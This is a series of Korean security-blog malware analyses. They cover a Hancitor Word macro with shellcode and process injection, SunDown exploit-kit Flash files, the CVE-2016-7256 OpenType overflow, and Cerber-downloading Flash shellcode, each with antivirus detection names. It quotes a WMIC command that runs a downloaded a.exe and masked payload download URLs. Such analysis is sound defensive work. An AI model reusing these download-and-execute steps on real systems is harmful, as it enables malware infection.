VBA Editor 내부의 VBA Project 를 통해 [그림 3] 과 같은 매크로와 사용자 정의 폼을 확인할 수 있다. 여기서 사용자 정의 폼이란 체크 박스’, ‘라디오 버튼’, ‘텍스트 박스등과 같이 응용프로그램과 사용자의 상호작용을 위해 사용자가 직접 작성하는 컨트롤들을 의미한다.

[그림 3] 매크로와 사용자 정의 폼


매크로는 [그림 4] 와 같이 암호화된 쉘코드를 복호화 후 실행하기 위해 사용자 정의 폼 내의 TabStrip 컨트롤에 접근한다.

[그림 4] TabStrip 컨트롤을 이용하는 매크로


쉘코드에 해당하는 데이터는 Word 문서 파일 압축 해제 시 생성되는 바이너리 파일 내부에서도 확인 가능하다.

[그림 5] 암호화된 쉘코드


매크로 코드는 [그림 4] 에서 가져온 데이터를 복호화하는 작업을 수행하는데, 해당 작업을 도식화하면 [그림 6] 과 같다.

[그림 6] 쉘코드 복호화 과정


매크로는 모듈 내부의 ‘RtlMoveMemory’, ‘VirtualAllocEx’, ‘EnumTimeFormatsW’ API 를 사용하여 복호화된 쉘코드를 실행시키며, 쉘코드는 [그림 7] 과 같이 Word 프로세스 메모리 영역 안에서 특정 마커(Marker)를 비교하는 루틴을 통해 암호화된 악성 실행 파일의 위치를 찾게 된다.

(이와 같은 기법을 흔히 에그 헌팅 (egg hunting) 이라 부르며 에그 헌팅이란 에그 헌터에 해당하는 최초 쉘코드를 통해 특정 마커와 같은 태그를 가진 실제 메인 코드를 찾아 실행시키는 일련의 과정들을 의미한다)

[그림 7] 특정 마커를 찾는 루틴(), 해당 마커가 포함된 데이터(아래)


쉘코드는 특정 마커를 가진 메모리 영역을 발견하면 [그림 8] 과 같은 코드를 통해 마커 뒷 부분에 존재하는 데이터를 1차 복호화한다.

[그림 8] 1차 복호화(), 복호화 후 생성되는 데이터(아래)


[그림 8] 에서 생성된 데이터를 2차 복호화인 Base64 디코딩 과정을 거치면 실제 악성 행위를 수행하는 실행 파일을 확인할 수 있다.

[그림 9] Base64 디코딩 과정을 통해 생성된 실행 파일 (일부)


이후 쉘코드는 생성된 실행 파일을 정상 프로세스에 인젝션 하기 위한 준비를 한다.


현재 실행되고 있는 OS 환경이 32비트이면 "%windir%\explorer.exe", 64비트이면 "%windir%\SysWOW64\svchost.exe" 파일을 CreateProcessA API 를 사용하여 Suspend 모드로 실행, 이후 인젝션 행위를 수행한다.

[그림 10] 인젝션 대상 프로세스 (64비트(), 32비트(아래))


정상 프로세스로 위장하기 위한 인젝션이 성공하면 악성코드는 감염 PC 의 사용자, 시스템 정보등을 C&C 주소로 전송하며, 해당 주소로부터 명령을 받아 파일 다운로드, 추가 인젝션 행위 등을 수행한다.

[그림 11] 인젝션된 파일이 수행하는 악성 행위


[그림 12] C&C 주소 (일부)


서두에서 언급한 것과 같이 해당 악성 파일은 스팸 메일을 통해 유포되는 경우가 많으며, Word 문서 파일 내부의 이미지를 통해 사용자로 하여금 큰 의심 없이 매크로를 실행시키도록 유도하므로 출처를 알 수 없는 메일의 첨부 파일 실행을 삼가고 확인되지 않은 문서 파일 내부의 매크로를 실행하는데 있어서 주의가 필요하다.

해당 유형의 악성코드는 V3 제품에서 다음과 같은 이름으로 진단하고 있다.

W97M/Hancitor (2016.11.24.07)

신고
Creative Commons License
Creative Commons License
Posted by jaemin.song

지난 랜섬웨어 다운로드 목적의 플래시파일 (SunDown EK)’ (http://asec.ahnlab.com/1048) 글에서 소개한 것처럼 Exploit Kit (Exploit Kit - 웹 서버에서 동작하는 공격용 소프트웨어, 이하 EK) 을 통해 유포되는 플래시 파일 중 내부에 암호화된 플래시 파일을 가지고 있는 유형에 대해서 소개하고자 한다.

해당 플래시 파일 역시 랜섬웨어 다운로드 목적일 것으로 추정된다.


플래시 파일 내부 구조와 ActionScript (AS, 플래시에서 사용되는 스크립트 언어) [그림 1] 과 같다.

[그림 1] 플래시 파일 구조와 스크립트 코드


스크립트 코드는 파일 실행 시 내부의 암호화된 데이터를 복호화하며 과정은 [그림 2] 와 같다.

[그림 2] 내부 데이터 복호화 과정


특이한 점은 [그림 2] 과정에 해당하는 스크립트 코드가 [그림 3] 에서 보이는 것처럼 정상 파싱(parsing)이 되지 않는다는 것이다.

[그림 3] 정상 파싱이 되지 않은 스크립트 코드


[그림 3] 의 코드는 단순 XOR 연산이 아닌 [그림 4] 와 같은 과정을 거치며 복호화 후에는 압축된 형태의 플래시 파일을 확인할 수 있다. (플래시 파일 시그니처 ‘CWS’ : zlib 라이브러리를 사용하여 압축)

[그림 4] [그림 3] 에 해당하는 XOR 연산 과정


실제 악성코드 실행 과정에서는 내부 파일이 메모리 내에서 복호화 되어 실행되므로 파일로 생성되지 않아 직접 확인할 수는 없으며, 메모리 덤프 확인 시 [그림 5] 와 같은 플래시 파일을 확인할 수 있다.

[그림 5] 복호화 후 생성된 플래시 파일 구조 및 스크립트


이처럼 최근 악성 플래시 파일 중에서는 EK 를 통해 유포되며, 내부에 쉘코드(Shellcode)나 또 다른 악성 파일을 가지고 있는 경우가 많다.

따라서 사용자는 확인되지 않은 사이트나 불필요한 사이트의 접근을 삼가고 항상 최신 버전의 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 필요하다.

V3 에서는 해당 유형의 악성 플래시 파일을 다음과 같은 이름으로 진단하고 있다.

SWF/Exploit (2016.09.02.00)

신고
Creative Commons License
Creative Commons License
Posted by jaemin.song

2016 11 8, Microsoft 에서 OpenType 폰트 취약점 관련하여 보안패치를 배포하였다. (MS16-132, CVE-2016-7256) 해당 취약점은 국내에서 최초 발견 및 보고된 것으로 피해를 예방하기 위해 아래의 보안패치를 적용하는 것이 필요하다.

[보안패치] https://technet.microsoft.com/ko-kr/library/security/mt674627.aspx

 

OpenType 폰트는 Microsoft Adobe 가 함께 개발한 폰트 형식으로, .otf 또는 .ttf 확장자를 갖는다. 폰트의 모양새를 결정하는 데이터가 Compact Font Format (CFF) 형식인지 TrueType 형식인지에 따라 파일의 시작부분 첫 4 바이트의 값이 달라지는데, 아래의 [그림 1]과 같이 CFF 형식의 OpenType 폰트는 0x4F54544F("OTTO"), TrueType 형식의 OpenType 폰트는 0x00010000 의 값을 갖는다.

이번에 발견된 취약점 폰트의 경우 파일 첫 4 바이트가 "OTTO" 로 시작되는, CFF 데이터 형식의 OpenType 폰트이다.

[그림 1] CFF 형식() TrueType 형식(아래)


OpenType 폰트의 구조는 [그림 2]와 같이 Offset Table Table Record 그리고 다수의 Table 데이터로 구성된다. Offset Table(0x0C 크기)에는 폰트의 종류 및 Table 의 개수 정보가 존재한다. 또한, Table 마다 Table Record(0x10 크기)가 존재하고, Table Record에는 Table 의 이름, 크기, 시작위치, 체크섬이 표기되어 있다. 

Table Record에 표기된 위치를 따라가면 각각의 Table 데이터가 존재하는데, 8개의 필수 테이블(cmap, head, hhea, hmtx, maxp, name, OS/2, post)과 더불어 해당 OpenType 폰트의 종류에 따라 추가 테이블이 존재한다. CFF 형식일 경우에는 CFF, CFF2, VORG 등의 테이블이, TrueType 형식의 경우에는 cvt, fpgm, glyf, loca 등이 여기에 해당한다.

 

[그림 2] OpenType 폰트 구조

 

해당 취약점 악용 폰트의 경우, 내부에 CFF 형식의 데이터를 포함하며 따라서 CFF 라는 이름의 테이블이 존재한다. 해당 테이블 내부에서 Adobe 에서 정의한 스펙(Adobe Technical Note #5176)을 따르지 않는 구조가 발견되었으며, 이로 인해 취약점이 발생하고 공격자가 임의의 코드를 실행할 수 있는 것으로 확인되었다.

취약점이 발생하는 CFF 테이블 데이터의 내부 구조는 [그림 3]과 같다. 4 바이트 크기의 헤더부분(0x01000403) 이후에 등장하는 것은 Name INDEX 부분이며, Adobe의 스펙을 따르지 않는 내용은 다음과 같다.

  [*] Name INDEX 의 폰트명의 길이는 127 바이트 이하 (취약점파일: 0x2C0)

[그림 3] CFF 테이블의 취약점 발생부분

 

폰트 파일을 처리하는 Windows 내부 모듈인 ATMFD.DLL 에서는 이와 관련하여, 폰트명이 실제 127 바이트 이상인지 여부를 확인하는 경계 체크 부분이 존재하지 않는 것으로 파악되었으며, 이로 인해 해당 영역의 데이터를 복사할 때 초과되는 범위의 데이터가 함께 복사되어 이후 취약점 발생에 영향을 주는 것으로 확인하였다.

 

2016118Microsoft 에서 해당 취약점에 대한 패치를 배포 하였으므로, Windows 를 사용하는 모든 사용자는 최신 업데이트를 적용할 것이 권장된다. 또한 외부로부터 전달된 의심스러운 형태의 폰트파일(*.OTF) 또는 문서파일에 대해서는 가급적 실행하지 않는 것이 권장된다.

 

V3 에서는 해당 폰트 취약점 유형의 샘플을 다음과 같은 이름으로 진단하고 있다.

OTF/Cve-2016-7256 (2016.10.29.00)

 

[참고자료]

Microsoft 보안 공지 MS16-132:
https://technet.microsoft.com/ko-kr/library/security/ms16-132.aspx

CVE-2016-7256:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7256

OpenType Font Specification:
https://www.microsoft.com/typography/otspec/otff.htm

Compact Font Format Specification:
https://partners.adobe.com/public/developer/en/font/5176.CFF.pdf

신고
Creative Commons License
Creative Commons License
Posted by disruption

최근 ‘Cerber’ 이름의 랜섬웨어를 다운로드 받는 악성 플래쉬(Flash) 파일이 다량으로 유포되고 있어 사용자의 주의가 요구된다. 

본 글에서는 이러한 플래쉬 파일에서 2차 악성 실행파일을 다운로드 하기 위해 쉘코드(Shell Code)를 사용하는 사례를 소개한다.

[그림 1]과 같이 irrcrpt 이름의 함수를 사용해 암호화 되어 있는 문자열 데이터(“FC590101”)를 복호화 하면 [그림 2]와 같은 쉘코드를 확인할 수 있다. 

쉘코드의 주요 기능은 2차 실행파일 다운로드이며, 다운로드 URL 주소 부분을 제외하고 쉘코드는 모두 동일한 형태를 갖는다.

 

[그림 1] SWF 내부 코드

[그림 2] Shell Code 일부


 쉘코드는 JMP 코드(0xEB)로 시작하며, 악성 코드를 동작하기 위해 필요한 DLL을 로드(load) 한다. 

사용할 DLL을 [그림 3]과 같이 쉘코드 내부에 고정된 형태로 갖고있다.


[그림 3] DLL 이름과 주소

 

실제 다운로드 URL 주소의 예는 다음과 같다.

-       http://**2.1**.*0*.**9/c**ef****a*******8**********1**

-       http://1**.**6.1**.**8/*****2*******5***********6******


다운로드 받은 파일은 감염 시스템의 %TEMP%경로에 “a.exe”이름으로 저장된다.

C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\a.exe

[1] 다운로드 경로


다운로드 받은 파일을 실행하기 위해 “WMIC.EXE”의 아래와 같은 명령을 사용한다.

C:\WINDOWS\system32\wbem\wmic.exe process call create

"cmd /c start C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\a.exe

[2] 실행 방법


현재 V3에서는 SWF/Cve-2016-1019, SWF/Exploit으로 진단하고 있다.

신고
Creative Commons License
Creative Commons License
Posted by 이보원

최근 ‘Locky’, ‘Cerber’ 와 같은 랜섬웨어를 다운로드 받아 실행하는 플래시 파일 (Adobe Flash File)이 유포되고 있어 사용자의 주의를 요하고 있다.


그 중 ‘SunDown’ 익스플로잇 킷트 (Exploit Kit - 웹 서버에서 동작하는 공격용 소프트웨어, 이하 EK) 에 의해 유포되는 플래시 파일에 대한 내용을 소개하면 다음과 같다.


해당 EK 의 주요 공격 대상은 Adobe Flash Player, Internet Explorer, SilverLight 취약점이며, 파라미터를 통해 Base64 인코딩된 쉘코드 및 악성코드 다운로드 URL 을 전달 받아 랜섬웨어를 다운로드 하는 기능을 가지고 있다.


본문의 플래시 파일 또한 동일한 기능을 가지고 있으며, 추가로 플래시 파일 내부 (DefineBinaryData) 에 암호화된 데이터가 존재하여 복호화 시 또 다른 악성 플래시 파일을 확인할 수 있다.


[그림 1] 에서 Type 1 Type 2 모두 동일한 유형이나 Type 1 의 경우 쉘코드를 복호화 하기 위한 Base64 클래스를 가지고 있다. (Type 2 의 경우 쉘코드가 암호화 되어 있지 않음) 

[그림 1] ‘SunDown’ EK 로 유포되는 플래시 파일들 (동일 유형)


복호화 루틴도 동일하지만 초기 키 값의 전달 방식에 따라 나뉘어진다. (스크립트 내부 하드 코딩() or DefineBinaryData 의 마지막 값())

[그림 2] 데이터 복호화 시 사용되는 루틴


[그림 2] 의 루틴을 이용하여 [그림 3] 의 암호화된 데이터를 복호화 후 [그림 4] 와 같은 새로운 플래시 파일을 생성한다.

[그림 3] 암호화된 DefineBinaryData (일부)


[그림 4] 복호화 후 생성된 플래시 파일들


플래시 파일 내에서 사용되는 스크립트 언어인 AS (ActionScript) 내부에는 [그림 5] 와 같이 Base64 인코딩된 쉘코드가 존재하며 (Type 1), 쉘코드는 다운로드 URL 로부터 악성코드를 다운로드 받아와 실행시키는 흐름을 보인다.

[그림 5] Base64 로 인코딩된 쉘코드 (Type 1)


악성코드 다운로드 URL 의 경우 쉘코드 내부에 저장되어 있거나 (Type 2), Flash 파라미터(exec) 를 통해 전달받는다.

[그림 6] 다운로드 URL 을 전달 받는 파라미터(exec) (Type 1)


다운로드된 악성 파일은 %temp% 경로에 ‘x.tmp’, ‘z.tmp’ 등의 파일명으로 생성되어 실행된다.

http://[서버주소]/z.php?id=152 (134, 135) 

[그림 7] 쉘코드 내부의 다운로드 URL


해당 플래시 파일은 V3 제품에서 ‘SWF/Sundown.Gen’, ‘SWF/Exploit’ 등의 진단명으로 진단 가능하다.

신고
Creative Commons License
Creative Commons License
Posted by jaemin.song